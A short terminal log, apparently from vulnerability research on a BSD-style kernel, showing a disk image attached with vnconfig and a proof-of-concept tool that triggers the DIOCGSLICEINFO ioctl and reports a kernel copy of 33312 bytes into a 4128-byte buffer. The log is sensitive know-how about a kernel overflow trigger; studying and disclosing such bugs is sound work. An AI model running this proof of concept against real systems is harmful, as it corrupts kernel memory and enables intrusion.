$ vnconfig -c /dev/vn0 /root/gpt.img && sleep 1 && ls /dev/vn0* | wc -l
129
$ ./poc2741 /dev/vn0 info
DIOCGSLICEINFO ok
  dss_nslices (runtime)     = 130
  declared type capacity    = 16
  ioctl buffer size         = 4128
  kernel bcopy length       = 33312
  overflow past buffer      = 29184 bytes
VULNERABLE: runtime nslices 130 > declared 16; kernel copied past the 4128-byte ioctl buffer